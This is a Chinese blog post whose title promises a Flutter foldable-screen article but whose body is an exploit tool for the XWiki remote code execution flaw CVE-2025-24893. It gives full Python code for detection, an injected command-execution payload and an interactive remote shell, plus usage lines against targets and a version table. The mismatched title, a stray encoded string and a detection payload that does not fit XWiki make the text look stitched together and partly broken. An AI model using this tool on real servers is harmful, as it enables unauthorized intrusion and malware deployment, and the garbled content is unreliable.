Flutter 跨端自适应折叠屏铰链避让:深入 DisplayFeature
2026/9/28 19:27:07
这是一个针对CVE-2025-24893漏洞的检测与利用工具。CVE-2025-24893是一个影响XWiki平台的严重远程代码执行漏洞,允许未经身份验证的攻击者在目标系统上执行任意代码。该漏洞源于SolrSearch宏中的Groovy代码不安全评估,导致服务器端代码执行。
⚠️ 重要声明:本工具仅供授权的安全测试和教育目的使用。未经授权的使用是非法行为。
pipinstallrequestsgitclone https://github.com/B1ack4sh/Blackash-CVE-2025-24893.gitcdBlackash-CVE-2025-24893# 1. 仅检测漏洞python3 cve-2025-24893.py http://your-lab-xwiki:8080# 2. 执行单条命令python3 cve-2025-24893.py http://target:8080whoami# 3. 进入交互模式python3 cve-2025-24893.py http://target:8080python3 cve-2025-24893.py http://192.168.1.100:8080/python3 cve-2025-24893.py http://192.168.1.100:8080/"ls -la"python3 cve-2025-24893.py http://192.168.1.100:8080/ RCE $>whoamiRCE $>idRCE $>exitdefcheck_vulnerable(target):""" 检测目标XWiki实例是否存在CVE-2025-24893漏洞 Args: target: 目标URL Returns: bool: 如果存在漏洞返回True,否则返回False """url=f"{target.rstrip('/')}/bin/get/Main/SolrSearch"# 使用Python代码注入进行检测params={"search":"{{''.__class__.__mro__[1].__subclasses__()[414]('id', shell=True, capture_output=True).communicate()}}"}try:# 发送检测请求r=requests.get(url,params=params,timeout=15,verify=False,allow_redirects=False)# 检查响应中是否包含命令执行结果ifr.status_code==200and("uid="inr.textor"gid="inr.text):print("[+] VULNERABLE! Command output detected:")print(" "+r.text.strip().replace("\n","\n "))returnTrueelse:print("[-] Not vulnerable or command didn't return output.")returnFalseexceptExceptionase:print(f"[!] Request failed:{e}")returnFalsedefexecute_command(target,command):""" 在存在漏洞的目标上执行系统命令 Args: target: 目标URL command: 要执行的系统命令 """# Groovy RCE payload构造payload=f"#set($ex=$class.inspect('java.lang.Runtime').getRuntime().exec('{command}'))"payload+="#set($out=$ex.waitFor())#set($null=$ex.getInputStream().close())"# URL编码payloadencoded=urllib.parse.quote(payload,safe='')url=f"{target.rstrip('/')}/bin/get/Main/SolrSearch?search={encoded}&outputSyntax=plain"try:# 发送命令执行请求r=requests.get(url,timeout=20,verify=False,allow_redirects=False)ifr.status_code==200:print(f"[+] Command executed:{command}")print(f" Output:\n{r.text.strip()}")else:print(f"[-] HTTP{r.status_code}- No output or blocked")exceptExceptionase:print(f"[!] Error:{e}")if__name__=="__main__":# 显示工具bannerbanner()# 检查命令行参数iflen(sys.argv)<2:print("Usage: python3 cve-2025-24893.py http://xwiki-target.com [command]")print("Example: python3 cve-2025-24893.py http://192.168.1.100:8080/ whoami")sys.exit(1)target=sys.argv[1]print(f"[*] Target:{target}")# 步骤1: 漏洞检测(非破坏性)ifnotcheck_vulnerable(target):print("[*] Trying alternative detection...")# 回退检测方法:执行无害的ping命令execute_command(target,"ping -c 1 127.0.0.1")else:print("[+] Confirmed vulnerable!")# 步骤2: 交互模式或单命令执行iflen(sys.argv)>=3:cmd=" ".join(sys.argv[2:])execute_command(target,cmd)else:print("\n[+] Interactive shell mode (type 'exit' to quit)")whileTrue:try:cmd=input("RCE $> ")ifcmd.lower()in["exit","quit"]:breakifcmd.strip():execute_command(target,cmd)exceptKeyboardInterrupt:print("\nBye!")breakdefbanner():""" 显示工具的ASCII艺术banner和基本信息 """print(r""" ██████╗ ██╗ █████╗ ██████╗ ██╗ ██╗ █████╗ ███████╗ ██╗ ██╗ ██╔══██╗ ██║ ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║ ██║ ██████╔╝ ██║ ███████║ ██║ █████╔╝ ███████║ ███████╗ ███████║ ██╔══██╗ ██║ ██╔══██║ ██║ ██╔═██╗ ██╔══██║ ╚════██║ ██╔══██║ ██████╔╝ ███████╗ ██║ ██║ ╚██████╗ ██║ ██╗ ██║ ██║ ███████║ ██║ ██║ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ CVE-2025-24893 Critical XWiki Remote Code Execution Vulnerability """)print(" Educational PoC - Only for authorized security testing!\n")| XWiki版本系列 | 受影响范围 |
|---|---|
| 5.x → 15.x | 5.3-milestone2 → 15.10.10 |
| 16.x | 16.0.0-RC1 → 16.4.0 |
| 安全版本 | 说明 |
|---|---|
| 15.10.11 | LTS修复版本 |
| 16.4.1 | 稳定分支修复 |
| 16.5.0-RC1 | 开发分支修复 |
SolrSearch宏 → RSS渲染 → 用户控制文本的不安全评估攻击者通过构造恶意搜索请求来滥用模板渲染功能,从而在服务器端执行任意代码。该漏洞已被用于真实攻击中部署恶意软件,如加密货币挖矿程序。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAP/Jlw6Em+eCYkkivuRs1AH
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)